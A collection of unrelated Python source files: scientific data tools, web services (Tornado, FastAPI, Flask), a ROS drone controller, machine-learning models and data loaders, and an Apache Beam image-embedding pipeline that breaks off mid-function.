#!/usr/bin/env python
from __future__ import print_function

import httk
import httk.db
from httk.atomistic import Structure
import httk.task

# Must be updated to your path to poscars, OR, set to None if you have
# VASP_IF_POSCARPATH configured in httk.cfg
# OR set environmental variable VASP_PSEUDOLIB
poscarspath = None

backend = httk.db.backend.Sqlite('../tutorial_data/tutorial.sqlite')
store = httk.db.store.SqlStore(backend)

search = store.searcher()
search_struct = search.variable(Structure)
search.add_all(search_struct.formula_symbols.is_in('O', 'Ca', 'Ti'))

search.output(search_struct, 'structure')

for match, header in search:
    struct = match[0]
    try:
        dir = httk.task.create_batch_task('Runs/', 'template', {"structure": struct}, name=struct.hexhash, overwrite_head_dir=True)
        print("Generated run for:", struct.formula+" in "+dir)
    except Exception as e:
        raise
        print(e)
        pass


from tornado.websocket import WebSocketHandler

import tornado.ioloop
import tornado.web
import tornado.websocket
import json

from websocket.Messages.ErrorMessage import ErrorMessage

_FIELD_TYPE = 'type'
_RECEIVER_READY = 'client_ready'

def start_server(message_list=None, port=8888):
    # Creates a websocket server instance
    socket = tornado.web.Application([
            (r"/websocket", _ImmVisWebSocket, {'message_list': message_list})
        ])
    # If the message list is empty prints a message
    if message_list is None:
        print("WARNING - No message given on server initialization")
    # sets the socket listening port
    socket.listen(port)
    print("Starting server: http://localhost:" + str(port) + "/")
    # initializes the infinite IO loop for the server
    tornado.ioloop.IOLoop.current().start()

class _ImmVisWebSocket(tornado.websocket.WebSocketHandler):
    message_list = None
    # Initializes the server
    def initialize(self, message_list=None):
        # copies the message list
        if message_list is not None:
            self.message_list = message_list
        else:
            self.message_list = []
    # Signals the opening of the socket
    def open(self):
        print("WebSocket opened.")
    # Signals the closure of the socket
    def on_close(self):
        print("WebSocket closed.")
    # method called everytime a message is received
    def on_message(self, received_message):
        print("LOG - Message received")
        try:
            payload = json.loads(received_message)
            received_message_type = payload.get(_FIELD_TYPE)
            print("LOG - Message type: "+received_message_type)
        except:
            return self.send_error_message(u'Unexpected request format')
        # whenever the socket receives a message that signals that the receiver is ready
        # iterates through all messages on the message list and sends them all
        if received_message_type == _RECEIVER_READY:
            for message in self.message_list:
                print("Sending message...")
                self.write_message(message.to_json())
    # method called to send an error message
    def send_error_message(self, cause):
        message = ErrorMessage(cause=cause)
        self.write_message(message.to_json())


# !/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author         :  Liu Yue
@Version        :
------------------------------------
@File           :  project.py
@Description    :  项目路由
@CreateTime     :  2021/5/29, 11:44
------------------------------------
@ModifyTime     :
"""
import core
from db import models
from fastapi import APIRouter

project_router = APIRouter(tags=['项目相关'])

@project_router.post("/project/add", name="项目新增编辑")
async def update(project: models.ProjectIn_Pydantic):
    """
    - 新增和编辑项目的接口，项目名称name为必须传参数\n
    - name: 项目名称
    - 没有项目名称会新增项目信息，如果有项目名称会编辑项目信息
    """
    try:
        # 判断项目是否被删除
        is_deleted = await models.Project.filter(name=project.name, deleted=1)
        # 判断项目是否被激活
        is_status = await models.Project.filter(name=project.name, status=0)
        if is_deleted:
            return core.Fail(message="项目已被删除.")
        elif is_status:
            return core.Fail(message="项目未被激活.")
        # 创建或更新项目
        else:
            # 判断项目是否存在，存在就编辑，不存在就新增
            if await models.Project.filter(name=project.name):
                await models.Project.filter(name=project.name).update(**project.dict(exclude_unset=True))
                return core.Success(data=await models.Project_Pydantic.from_queryset_single(models.Project.get(name=project.name)))
            else:
                try:
                    project_obj = await models.Project.create(**project.dict(exclude_unset=True))
                    return core.Success(data=await models.Project_Pydantic.from_tortoise_orm(project_obj))
                except Exception as e:
                    return core.Fail(message=f"创建失败.{e}")

    except Exception as e:
        return core.Fail(message="项目已存在.")

@project_router.delete("/project/del", name="删除项目")
async def delete(project: core.NameBase):
    """
    - 删除项目的接口\n
    - name: 项目名称【必填】
    - 只需要传递需要删除的项目名称 name 字段
    """
    try:
        # 判断项目是否存在
        await models.Project.get(name=project.name)
        # 判断项目是否被删除
        is_deleted = await models.Project.filter(name=project.name, deleted=1)
        if is_deleted:
            return core.Fail(message="项目已被删除.")
        # 更新项目是否删除为1
        await models.Project.filter(name=project.name).update(deleted=1)
        return core.Success()
    except Exception as e:
        return core.Fail(message="项目不存在.")

@project_router.post("/project/res", name="恢复项目")
async def restore(project: core.NameBase):
    """
    - 恢复项目的接口\n
    - name: 项目名称【必填】
    - 只需要传递需要恢复的项目名称 name字段
    """
    try:
        # 判断项目是否存在
        await models.Project.get(name=project.name)
        # 判断项目是否被删除
        is_deleted = await models.Project.filter(name=project.name, deleted=0)
        if is_deleted:
            return core.Fail(message="项目未被删除.")
        # 更新项目是否删除为1
        await models.Project.filter(name=project.name).update(deleted=0)
        return core.Success()
    except Exception as e:
        return core.Fail(message="项目不存在.")

# https://tortoise-orm.readthedocs.io/en/latest/CHANGELOG.html?highlight=from_queryset_single#id27
@project_router.get("/project/getAll", name="获取所有项目")
async def select_all(limit: int = 10, page: int = 1):
    """
    - 获得所有项目接口\n
    - limit： 每页条数\n
    - int： 当前页面
    """
    skip = (page - 1) * limit
    # from_queryset 针对queryset 对象序列化
    data = await models.Project_Pydantic.from_queryset(models.Project.filter(deleted=0, status=1).all().order_by('-created_at').offset(skip).limit(limit))
    return core.Success(data={"total": await models.Project.all().count(), "items": data})

@project_router.post("/project/detail", name="获取项目详细")
async def select(project: models.ProjectIn_Pydantic):
    """
    - 获取指定项目名称详情接口\n
    - name: 项目名称【必填】
    """
    try:
        # 获取指定项目
        # 判断项目是否存在
        await models.Project.get(name=project.name)
        # 判断项目是否被删除
        is_deleted = await models.Project.filter(name=project.name, deleted=1)
        # 判断项目是否被激活
        is_status = await models.Project.filter(name=project.name, status=0)
        if is_deleted:
            return core.Fail(message="项目已被删除.")
        elif is_status:
            return core.Fail(message="项目未被激活.")
        else:
            try:
                data = await models.Project_Pydantic.from_queryset_single(models.Project.get(name=project.name))
                return core.Success(data=data)
            except Exception as e:
                return core.Fail(message=f"打开项目详情失败.{e}")
    except Exception as e:
        return core.Fail(message=f"项目不存在.")

@project_router.get("/project/getAllNoPage", name="获取所有项目不分页")
async def get_projects():
    """
    - 获取全部分页内容，不支持分页
    """
    # 按照不分页结构显示
    data = await models.Project_Pydantic.from_queryset(models.Project.filter(deleted=0, status=1).all())
    return core.Success(data={"total": len(data), "items": data})


#!/usr/bin/env python
import sys
import rospy
from std_msgs.msg import Empty
from geometry_msgs.msg import Twist
from bebop_msgs.msg import Ardrone3PilotingStateAltitudeChanged, Ardrone3CameraStateOrientation, CommonCommonStateBatteryStateChanged
from keyboard import KBHit
from collections import OrderedDict
from drone import BebopDrone
from vision import DroneVision

ON_GROUND   = "On Ground "
ON_AIR      = "On Air    "
TAKINGOFF   = "Taking off"
LANDING     = "Landing   "

KEY_CONFIGS = OrderedDict([
    ('w' , 'Forward'),
    ('s' , 'Reverse'),
    ('a' , 'Left'),
    ('d' , 'Right'),
    ('q' , 'Yaw Left'),
    ('e' , 'Yaw Right'),
    (' ' , 'Takeoff/Landing'),
    ('8' , 'Camera Tilt Up'),
    ('2' , 'Camera Tilt Down'),
    ('4' , 'Camera Pitch Left'),
    ('6' , 'Camera Pitch Right'),
    ('+' , 'Speed Up'),
    ('-' , 'Speed Down')
])

class ManualController:

    def __init__(self):

        rospy.init_node('drone_controller')

        self.char                   = ''
        self.kb                     = KBHit()
        self.drone                  = BebopDrone()
        self.vision                 = DroneVision(self.drone)
        self.drone.frame_callback   = self.vision.calculateFrontalDistance
        self.rate                   = rospy.Rate(100)
        self.status_init            = True

    def print_help(self):
        # Upcoming Controller
        # print('Control:')
        # for key, purose in KEY_CONFIGS.items():
        #     print("\t{} : {}".format(key, purose))
        print('Control:\nw\t: Forward\ns\t: Reverse\nd\t: Right\na\t: Left\ne\t: Yaw Right\nq\t: Yaw Left\nr\t: Ascend\nf\t: Descend\nSpace\t: Takeoff/land\n+\t: Increase Speed\n-\t: Decrease Speed')

    def print_status(self):
        if not self.status_init:
            sys.stdout.write("\033[F") # Cursor up one line
        else:
            self.status_init = False
        print("Speed {0} Altitude {1:.2f} Tilt {2} Pan {3} Battery {4}% Status {5}".format(self.drone.movement_speed, self.drone.altitude, self.drone.camera_tilt, self.drone.camera_pan, self.drone.battery, self.drone.getStateStr()))

    def adjust_speed(self):
        if self.char == '+':
            self.drone.movement_speed += 0.1
        if self.char == '-':
            self.drone.movement_speed -= 0.1

        if self.drone.movement_speed > 1.0:
            self.drone.movement_speed = 1.0
        if self.drone.movement_speed < 0.1:
            self.drone.movement_speed = 0.1

    def takeoff_landing(self):
        if self.char == ' ':
            self.drone.takeoffLanding()
            self.kb.clear()

    def navigate(self):

        if self.char == 'w':                # Forward
            self.drone.forward()
        elif self.char == 's':              # Reverse
            self.drone.reverse()
        elif self.char == 'a':              # Left
            self.drone.left()
        elif self.char == 'd':              # Right
            self.drone.right()
        elif self.char == 'q':              # YAW Left
            self.drone.yawLeft()
        elif self.char == 'e':              # YAW Right
            self.drone.yawRight()
        elif self.char == 'r':              # Ascend
            self.drone.ascend()
        elif self.char == 'f':              # Descend
            self.drone.descend()

    def move_cam(self):
        # 0, -25, -48, -70
        # Don't want contenious changes
        if self.char == '8':
            self.drone.cameraTiltUp()
        if self.char == '2':
            self.drone.cameraTiltDown()
        if self.char == '4':
            self.drone.cameraPanLeft()
        if self.char == '6':
            self.drone.cameraPanRight()

    def run(self):
        self.print_help()

        while not rospy.is_shutdown():
            self.rate.sleep()
            if self.kb.kbhit():
                self.char = self.kb.getch()
                self.adjust_speed()
                self.takeoff_landing()
                self.navigate()
                self.move_cam()
            self.print_status()
            self.drone.process()

        self.kb.set_normal_term()

if __name__ == "__main__":
    try:
        dc = ManualController()
        dc.run()
    except rospy.ROSInterruptException:
        pass


import unittest
from blockchain.script_val import *
from tests.blockchain.common import *
import txscript

class TestScriptVal(unittest.TestCase):
    def test_check_block_scripts(self):
        test_block_num = 277647
        block_data_file = "%d.dat.bz2" % test_block_num
        blocks = load_blocks(block_data_file)

        self.assertTrue(len(blocks) == 1)

        store_data_file = "%d.utxostore.bz2" % test_block_num
        view = load_utxo_view(store_data_file)

        script_flags = txscript.ScriptBip16
        check_block_scripts(blocks[0], view, script_flags, sig_cache=None, hash_cache=None)


import platform
from datetime import datetime

from orsopy import fileio

from .. import __version__

def make_orso(
    owner: fileio.base.Person,
    sample: fileio.data_source.Sample,
    creator: fileio.base.Person,
    reduction_script: str,
) -> fileio.orso.Orso:
    """
    Generate the base Orso object for the Amor instrument.
    Populate the Orso object for metadata storage.

    Parameters
    ----------
    owner:
        The owner of the data set, i.e. the main proposer of the measurement.
    sample:
        A description of the sample.
    creator:
        The creator of the reduced data, the person responsible for the
        reduction process.
    reduction_script:
        The script or notebook used for reduction.

    Returns
    -------
    :
        Orso object with the default parameters for the Amor instrument.
    """
    orso = fileio.orso.Orso.empty()
    orso.data_source.experiment.probe = 'neutrons'
    orso.data_source.experiment.facility = 'Paul Scherrer Institut'
    orso.data_source.measurement.scheme = 'angle- and energy-dispersive'
    orso.reduction.software = fileio.reduction.Software(
        'scipp-ess', __version__, platform.platform()
    )
    orso.reduction.timestep = datetime.now()
    orso.reduction.corrections = []
    orso.reduction.computer = platform.node()
    orso.columns = [
        fileio.base.Column('Qz', '1/angstrom', 'wavevector transfer'),
        fileio.base.Column('R', None, 'reflectivity'),
        fileio.base.Column('sR', None, 'standard deivation of reflectivity'),
        fileio.base.Column(
            'sQz', '1/angstrom', 'standard deviation of wavevector transfer resolution'
        ),
    ]
    orso.data_source.owner = owner
    orso.data_source.sample = sample
    orso.reduction.creator = creator
    orso.reduction.script = reduction_script
    return orso


from __future__ import unicode_literals, absolute_import

from operator import methodcaller
from sys import version
from codecs import open

from openedx_modulestore_utils.expand_nested import main as expand_nested_main
from openedx_modulestore_utils.utils import pp, pdata

if version[0] == "2":
    iteritems = methodcaller("iteritems")
else:
    iteritems = methodcaller("items")

def to_filtered_csv(ms, output_fname):
    with open(output_fname, "wt", encoding="utf8") as f:
        f.write("block_id\tcategory\tdisplay_name\texam\n")
        f.write(
            "\n".join(
                "\t".join(
                    '"\\N"' if val is None else '"{}"'.format(val)
                    for val in (
                        k,
                        v["category"],
                        v["metadata"].get("display_name"),
                        v["metadata"].get("exam"),
                    )
                )
                for k, v in iteritems(ms)
            )
        )
        f.write("\n")
    # _metadata(ms)

def _metadata(ms):
    pp({key for k, v in iteritems(ms) for key in v["metadata"]})

def main(output_fname=None):
    output_fname = pdata("ms.csv") if output_fname is None else output_fname
    ms, input_fname, _, _ = expand_nested_main()
    to_filtered_csv(ms, output_fname)

if __name__ == "__main__":
    main()


from gensim.utils import simple_preprocess
import gensim.downloader as api
from gensim.corpora import Dictionary
from gensim.models import TfidfModel, WordEmbeddingSimilarityIndex
from gensim.similarities import SparseTermSimilarityMatrix, SoftCosineSimilarity

import re
from nltk.corpus import stopwords
stops = list(stopwords.words('english'))

glove = api.load("glove-wiki-gigaword-50")
similarity_index = WordEmbeddingSimilarityIndex(glove)

class GloVe:
    def __init__(self, corpus: list):
        self.corpus = corpus

    @staticmethod
    def preprocess(doc):
        '''Tokenize, clean up input document string'''
        doc = re.sub(r'<img[^<>]+(>|$)', " image_token ", doc)
        doc = re.sub(r'<[^<>]+(>|$)', " ", doc)
        doc = re.sub(r'\[img_assist[^]]*?\]', " ", doc)
        doc = re.sub(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', " url_token ", doc)
        tokens = simple_preprocess(doc, min_len=0, max_len=float("inf"))
        return [token for token in tokens if token not in stopwords]

    def process(self, query: str):
        '''Conducts preprocessing, creates BoW corpus and computes text similarity scores'''
        corpus = [self.preprocess(text) for text in self.corpus]
        dictionary = Dictionary(corpus)
        tfidf = TfidfModel(dictionary=dictionary)

        # Create the term similarity matrix.
        similarity_matrix = SparseTermSimilarityMatrix(similarity_index, dictionary, tfidf)
        query_tf = tfidf[dictionary.doc2bow(self.preprocess(query))]
        index = SoftCosineSimilarity(tfidf[[dictionary.doc2bow(document) for document in corpus]], similarity_matrix)
        scores = list(index[query_tf])
        return {i: scores[i] for i in range(len(scores))}


import sys
import requests

from flask import Flask, Blueprint, request, jsonify
from flask_cors import CORS
from comments import Comments
app = Flask(__name__)
bp = Blueprint('comments', __name__, url_prefix='/comments')

comments = Comments()

@bp.route("/<thread_id>", methods=["GET"])
def get_thread(thread_id):
    thread = comments.get_thread(thread_id)
    print('get_thread:', thread_id, thread)
    return jsonify({'thread': thread})

@bp.route("/<thread_id>", methods=["PUT"])
def add(thread_id):
    json_data = request.get_json()
    added_comment = comments.add(thread_id, json_data)
    print('added_comment:', added_comment)
    return jsonify({'comment': added_comment})

if __name__ == "__main__":
    port = 6001
    if len(sys.argv) >= 2:
        port = sys.argv[1]

    app.register_blueprint(bp)
    app.config.from_object('settings')

    if app.debug:
        CORS(app, resources=r'/*',
                 allow_headers=['Content-Type', 'Authentication'],
                 supports_credentials=True)

    discoveryServiceRequest = 'http://' + app.config['DISCOVERY_SERVICE_URL'] + '/' + bp.name
    discoveryServiceData = {
        'service_id': bp.name,
        'host': 'localhost',
        'port': port
    }
    response = requests.put(discoveryServiceRequest, json = discoveryServiceData)

    app.run(port=port)


#Importa o calendario
import calendar
#Escolher um ano
#tente
try:
    y = int(input("Digite o ano: "))
    #Condicional de erro
    if (1>y or y>9999):
        print ('Escolha outro ano.')
    #Impressão dos meses
    else:
        for i in range (12):
            print (calendar.month(y,i+1))

#Excessão a regra adicionada a condicional de erro
except:
    print ('Escolha outro ano do calendário')


from keras.layers import Lambda, Conv2D, Dropout, Dense, Flatten, Concatenate, Input, MaxPooling2D
from keras.models import Model

INPUT_SHAPE, RADAR_SHAPE = (66, 200, 3), (20, 20, 1)

def main_model():
    # image model
    img_input = Input(shape=INPUT_SHAPE)
    img_model = (Lambda(lambda x: x / 127.5 - 1.0, input_shape=INPUT_SHAPE))(img_input)
    img_model = (Conv2D(24, (5, 5), activation='elu', strides=(2, 2)))(img_model)
    img_model = (Conv2D(36, (5, 5), activation='elu', strides=(2, 2)))(img_model)
    img_model = (Conv2D(48, (5, 5), activation='elu', strides=(2, 2)))(img_model)
    img_model = (Conv2D(64, (3, 3), activation='elu'))(img_model)
    img_model = (Conv2D(64, (3, 3), activation='elu'))(img_model)
    img_model = (Flatten())(img_model)
    img_model = (Dense(100, activation='elu'))(img_model)

    # radar model
    radar_input = Input(shape=RADAR_SHAPE)
    radar_model = (Conv2D(32, (5, 5), activation='elu'))(radar_input)
    radar_model = (MaxPooling2D((2, 2), strides=(2, 2)))(radar_model)
    radar_model = (Conv2D(64, (5, 5), activation='elu'))(radar_model)
    radar_model = (MaxPooling2D((2, 2), strides=(2, 2)))(radar_model)
    radar_model = (Flatten())(radar_model)
    radar_model = (Dense(10, activation='elu'))(radar_model)

    # speed
    speed_input = Input(shape=(1,))

    # combined model
    out = Concatenate()([img_model, radar_model])
    out = (Dense(50, activation='elu'))(out)
    out = Concatenate()([out, speed_input])
    out = (Dense(10, activation='elu'))(out)
    out = (Dense(1))(out)

    model = Model(inputs=[img_input, radar_input, speed_input], outputs=out)

    return model


from torch import nn

'''
You use .__init__() to build the model. First, you need to call super().__init__() to run .__init__() from nn.Module.
The discriminator you’re using is an MLP neural network defined in a sequential way using nn.Sequential(). It has the following characteristics:
    - The input is two-dimensional, and the first hidden layer is composed of 256 neurons with ReLU activation.
    - The second and third hidden layers are composed of 128 and 64 neurons, respectively, with ReLU activation.
    - The output is composed of a single neuron with sigmoidal activation to represent a probability.
    - After the first, second, and third hidden layers, you use dropout to avoid overfitting.

Finally, you use .forward() to describe how the output of the model is calculated.
Here, x represents the input of the model, which is a two-dimensional tensor.
In this implementation, the output is obtained by feeding the input x to the model you’ve defined without any other processing.
'''

class Discriminator(nn.Module):
    def __init__(self):
        super().__init__()
        self.model = nn.Sequential(
            nn.Linear(2, 256),
            nn.ReLU(),
            nn.Dropout(0.3),
            nn.Linear(256, 128),
            nn.ReLU(),
            nn.Dropout(0.3),
            nn.Linear(128, 64),
            nn.ReLU(),
            nn.Dropout(0.3),
            nn.Linear(64, 1),
            nn.Sigmoid(),
        )

    def forward(self, x):
        output = self.model(x)
        return output


import PythonCrawlerForKaobeiEngineer as ps

def main():
    categoryStr = ['','monthly','quarterly','top2018']
                # weektop , monthluTop, seasonTop, yearTop
                #
    messageStr  = ['1.周排名','2.月排名','3.季排名','4.2018排名']

    print("欲爬下來的圖片分類 請輸入數字")

    for i in range(4):
        print(messageStr[i])

    selection =  int(input()) - 1
    while (selection > 3) or (selection < 0):
        #輸入錯誤部分
        # 輸入跟index是不同的

        print("輸入錯誤，請重新輸入")
        for i in range(4):
            print(messageStr[i])
        selection =  int(input()) -1
    else:
        ps.htmlPaserAndDownloader(categoryStr[ selection ], messageStr[selection])
        print("call func")

print('done')

if __name__ == '__main__':
    main()  # 或是任何你想執行的函式
    print('execute localy module')


# -*- coding: utf-8 -*-
"""
Created on Tue Nov 15 11:30:30 2016

@author: Juan
"""

import numpy as np
import matplotlib.pyplot as plt
import scipy.io.wavfile as wav
from scipy import signal
import pandas as pd
import seaborn as sns

melcoeff = 20
melbands = 40

prediction_file_pablo="../prediction/pablo_mfcc_" + str(melcoeff) + str(melbands) + "_prediction.npy"
test_pablo=np.load(prediction_file_pablo)

prediction_file_ulla="../prediction/ulla_mfcc_" + str(melcoeff) + str(melbands) + "_prediction.npy"
test_ulla=np.load(prediction_file_ulla)

prediction_file_emma="../prediction/emma_mfcc_" + str(melcoeff) + str(melbands) + "_prediction.npy"
test_emma=np.load(prediction_file_emma)

prediction_file_juan="../prediction/juan_mfcc_" + str(melcoeff) + str(melbands) + "_prediction.npy"
test_juan=np.load(prediction_file_juan)

prediction_file_claire="../prediction/claire_mfcc_" + str(melcoeff) + str(melbands) + "_prediction.npy"
test_claire=np.load(prediction_file_claire)

gt_pablo = test_pablo[:,1]
gt_ulla = test_ulla[:,1]
gt_emma = test_emma[:,1]
gt_juan = test_juan[:,1]
gt_claire = test_claire[:,1]

#%%
N = 5
bhc = (len(np.argwhere(gt_ulla==1)), len(np.argwhere(gt_pablo==1)), \
len(np.argwhere(gt_emma==1)), len(np.argwhere(gt_juan==1)), len(np.argwhere(gt_claire==1)))
breathy = (len(np.argwhere(gt_ulla==2)), len(np.argwhere(gt_pablo==2)), \
len(np.argwhere(gt_emma==2)), len(np.argwhere(gt_juan==2)), len(np.argwhere(gt_claire==2)))
normal = (len(np.argwhere(gt_ulla==3)), len(np.argwhere(gt_pablo==3)), \
len(np.argwhere(gt_emma==3)), len(np.argwhere(gt_juan==3)), len(np.argwhere(gt_claire==3)))
ind = np.arange(N)    # the x locations for the groups
width = 0.50           # the width of the bars: can also be len(x) sequence

p1 = plt.barh(ind, bhc, width, color='r')
p2 = plt.barh(ind, breathy, width, color='y',
             left=bhc)
bottomp3=np.array(breathy)+np.array(bhc)
p3 = plt.barh(ind, normal, width, color='g', left=bottomp3)

plt.xlabel('Cantidad de frames')
plt.title('Bag of Frames de Aliento/Arrugas')
plt.yticks(ind + width/2., ('ulla', 'pablo', 'emma', 'juan', 'claire'))
plt.xticks(np.arange(0, 25000, 1000))
plt.legend((p1[0], p2[0], p3[0]), ('Blow Hole Covert', 'Breathy', 'Normal'))

plt.show()


import os
import nltk
import torch
import pickle
import hydra
import numpy as np
from PIL import Image
import torch.utils.data as data
from pycocotools.coco import COCO
from build_vocab import Vocabulary
import torchvision.transforms as transforms

class CocoDataset(data.Dataset):

    def __init__(self, root, json, vocab, transform=None):
        """
        root: 画像のrootディレクトリ
        json: cocoのannotationファイルのパス
        vocab: vocabulary wrapper
        transform: 画像の変形
        """

        self.root = root
        self.coco = COCO(json)
        self.ids = list(self.coco.anns.keys())
        self.vocab = vocab
        self.transform = transform

    def __getitem__(self, index):
        # imageとcaptionのペアを返す

        coco = self.coco
        vocab = self.vocab
        ann_id = self.ids[index]
        caption = coco.anns[ann_id]['caption']
        img_id = coco.anns[ann_id]['image_id']
        path = coco.loadImgs(img_id)[0]['file_name']

        image = Image.open(os.path.join(self.root, path)).convert('RGB')
        if self.transform is not None:
            image = self.transform(image)

        # captionの文字をワードのidxに変換する
        tokens = nltk.tokenize.word_tokenize(str(caption).lower())
        caption = []
        caption.append(vocab('<start>'))
        caption.extend([vocab(token) for token in tokens])
        caption.append(vocab('<end>'))
        target = torch.Tensor(caption)

        return image, target

    def __len__(self):
        return len(self.ids)

def collate_fn(data):
    # (image,caption)というタプルになっているリストからミニバッジのテンソルを作成する

    # dataのimageは(3,256,256)のようなtensor、captionは可変の次元

    data.sort(key=lambda x: len(x[1]), reverse=True)
    images, captions = zip(*data)

    # タプル型の3Dテンソルを4Dのテンソルにすることで画像をマージする
    images = torch.stack(images, 0)

    # タプル型の1Dテンソルを2Dのテンソルにすることでcaptionをマージする
    lengths = [len(cap) for cap in captions]
    targets = torch.zeros(len(captions), max(lengths)).long()

    for i, cap in enumerate(captions):
        end = lengths[i]
        targets[i, :end] = cap[:end]

    # images:(batch_size,3,256,256)
    # targets:(batch_size,padded_length)
    # lengths:->list captionの長さ(paddingされてるかも)
    return images, targets, lengths

def get_loader(root, json, vocab, transform, batch_size, shuffle, num_workers):
    coco = CocoDataset(root=root, json=json, vocab=vocab, transform=transform)

    data_loader = torch.utils.data.DataLoader(dataset=coco, batch_size=batch_size, shuffle=shuffle,
                                              num_workers=num_workers, collate_fn=collate_fn)

    return data_loader


import apache_beam as beam
from apache_beam.io import tfrecordio
from apache_beam.metrics import Metrics
import cStringIO
import logging
import os
from PIL import Image

from . import _inceptionlib
from . import _util

error_count = Metrics.counter('main', 'errorCount')
rows_count = Metrics.counter('main', 'rowsCount')
skipped_empty_line = Metrics.counter('main', 'skippedEmptyLine')
embedding_good = Metrics.counter('main', 'embedding_good')
embedding_bad = Metrics.counter('main', 'embedding_bad')
incompatible_image = Metrics.counter('main', 'incompatible_image')
invalid_uri = Metrics.counter('main', 'invalid_file_name')
unlabeled_image = Metrics.counter('main', 'unlabeled_image')

class ExtractLabelIdsDoFn(beam.DoFn):
  """Extracts (uri, label_ids) tuples from CSV rows.
  """

  def start_bundle(self, context=None):
    self.label_to_id_map = {}

  def process(self, element, all_labels):
    all_labels = list(all_labels)
    # DataFlow cannot garuantee the order of the labels when materializing it.
    # The labels materialized and consumed by training may not be with the same order
    # as the one used in preprocessing. So we need to sort it in both preprocessing
    # and training so the order matches.
    all_labels.sort()
    if not self.label_to_id_map:
      for i, label in enumerate(all_labels):
        label = label.strip()
        if label:
          self.label_to_id_map[label] = i

    # Row format is:
    # image_uri,label_id
    if not element:
      skipped_empty_line.inc()
      return

    rows_count.inc()
    uri = element['image_url']

    try:
      label_id = self.label_to_id_map[element['label'].strip()]
    except KeyError:
      unlabeled_image.inc()
    yield uri, label_id

class ReadImageAndConvertToJpegDoFn(beam.DoFn):
  """Read files from GCS and convert images to JPEG format.

  We do this even for JPEG images to remove variations such as different number
  of channels.
  """

  def process(self, element):
    from tensorflow.python.lib.io import file_io as tf_file_io

    uri, label_id = element
    try:
      with tf_file_io.FileIO(uri, 'r') as f:
        img = Image.open(f).convert('RGB')
    # A variety of different calling libraries throw different exceptions here.
    # They all correspond to an unreadable file so we treat them equivalently.
    # pylint: disable broad-except
    except Exception as e:
      logging.exception('Error processing image %s: %s', uri, str(e))
      error_count.inc()
      return

    # Convert to desired format and output.
    output = cStringIO.StringIO()
    img.save(output, 'jpeg')
    image_bytes = output.getvalue()
    yield uri, label_id, image_bytes

class EmbeddingsGraph(object):
  """Builds a graph and uses it to extract embeddings from images.
  """

  # These constants are set by Inception v3's expectations.
  WIDTH = 299
  HEIGHT = 299
  CHANNELS = 3

  def __init__(self, tf_session, checkpoint_path):
    import tensorflow as tf

    self.tf_session = tf_session
    # input_jpeg is the tensor that contains raw image bytes.
    # It is used to feed image bytes and obtain embeddings.
    self.input_jpeg, self.embedding = self.build_graph()
    self.tf_session.run(tf.global_variables_initializer())
    self.restore_from_checkpoint(checkpoint_path)

  def build_graph(self):
    """Forms the core by building a wrapper around the inception graph.

      Here we add the necessary input & output tensors, to decode jpegs,
      serialize embeddings, restore from checkpoint etc.

      To use other Inception models modify this file. Note that to use other
      models beside Inception, you should make sure input_shape matches
      their input. Resizing or other modifications may be necessary as well.
      See tensorflow/contrib/slim/python/slim/nets/inception_v3.py for
      details about InceptionV3.

    Returns:
      input_jpeg: A tensor containing raw image bytes as the input layer.
      embedding: The embeddings tensor, that will be materialized later.
    """

    import tensorflow as tf
    input_jpeg = tf.placeholder(tf.string, shape=None)
    image = tf.image.decode_jpeg(input_jpeg, channels=self.CHANNELS)

    # Note resize expects a batch_size, but we are feeding a single image.
    # So we have to expand then squeeze.  Resize returns float32 in the
    # range [0, uint8_max]
    image = tf.expand_dims(image, 0)

    # convert_image_dtype also scales [0, uint8_max] -> [0 ,1).
    image = tf.image.convert_image_dtype(image, dtype=tf.float32)
    image = tf.image.resize_bilinear(
        image, [self.HEIGHT, self.WIDTH], align_corners=False)

    # Then rescale range to [-1, 1) for Inception.
    image = tf.subtract(image, 0.5)
    inception_input = tf.multiply(image, 2.0)

    # Build Inception layers, which expect a tensor of type float from [-1, 1)
    # and shape [batch_size, height, width, channels].
    with tf.contrib.slim.arg_scope(_inceptionlib.inception_v3_arg_scope()):
      _, end_points = _inceptionlib.inception_v3(inception_input, is_training=False)

    embedding = end_points['PreLogits']
    return input_jpeg, embedding

  def restore_from_checkpoint(self, checkpoint_path):
    """To restore inception model variables from the checkpoint file.

       Some variables might be missing in the checkpoint file, so it only
       loads the ones that are avialable, assuming the rest would be
       initialized later.
    Args:
      checkpoint_path: Path to the checkpoint file for the Inception graph.
    """
    import tensorflow as tf
    # Get all variables to restore. Exclude Logits and AuxLogits because they
    # depend on the input data and we do not need to intialize them from
    # checkpoint.
    all_vars = tf.contrib.slim.get_variables_to_restore(
        exclude=['InceptionV3/AuxLogits', 'InceptionV3/Logits', 'global_step'])

    saver = tf.train.Saver(all_vars)
    saver.restore(self.tf_session, checkpoint_path)

  def calculate_embedding(self, batch_image_bytes):
    """Get the embeddings for a given JPEG image.

    Args:
      batch_image_bytes: As if returned from [ff.read() for ff in file_list].

    Returns:
      The Inception embeddings (bottleneck layer output)
    """
    return self.tf_session.run(
        self.embedding, feed_dict={self.input_jpeg: batch_image_bytes})

class TFExampleFromImageDoFn(beam.DoFn):
  """Embeds image bytes and labels, stores them in tensorflow.Example.

  (uri, label_ids, image_bytes) -> (tensorflow.Example).

  Output proto contains 'label', 'image_uri' and 'embedding'.
  The 'embedding' is calculated by feeding image into input layer of image
  neural network and reading output of the bottleneck layer of the network.

  Attributes:
    image_graph_uri: an uri to gcs bucket where serialized image graph is
                     stored.
  """

  def __init__(self, checkpoint_path):
    self.tf_session = None
    self.graph = None
    self.preprocess_graph = None
    self._checkpoint_path = checkpoint_path

  def start_bundle(self, context=None):
    # There is one tensorflow session per instance of TFExampleFromImageDoFn.
    # The same instance of session is re-used between bundles.
    # Session is closed by the destructor of Session object, which is called
    # when instance of TFExampleFromImageDoFn() is destructed.
    import tensorflow as tf
    if not self.graph:
      self.graph = tf.Graph()
      self.tf_session = tf.InteractiveSession(graph=self.graph)
      with self.graph.as_default():
        self.preprocess_graph = EmbeddingsGraph(self.tf_session, self._checkpoint_path)

  def finish_bundle(self, context=None):
    if self.tf_session is not None:
      self.tf_session.close()

  def process(self, element):

    import tensorflow as tf

    def _bytes_feature(value):
      return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))

    def _float_feature(value):
      return tf.train.Feature(float_list=tf.train.FloatList(value=value))

    uri, label_id, image_bytes = element

    try:
      embedding = self.preprocess_graph.calculate_embedding(image_bytes)
    except tf.errors.InvalidArgumentError as e:
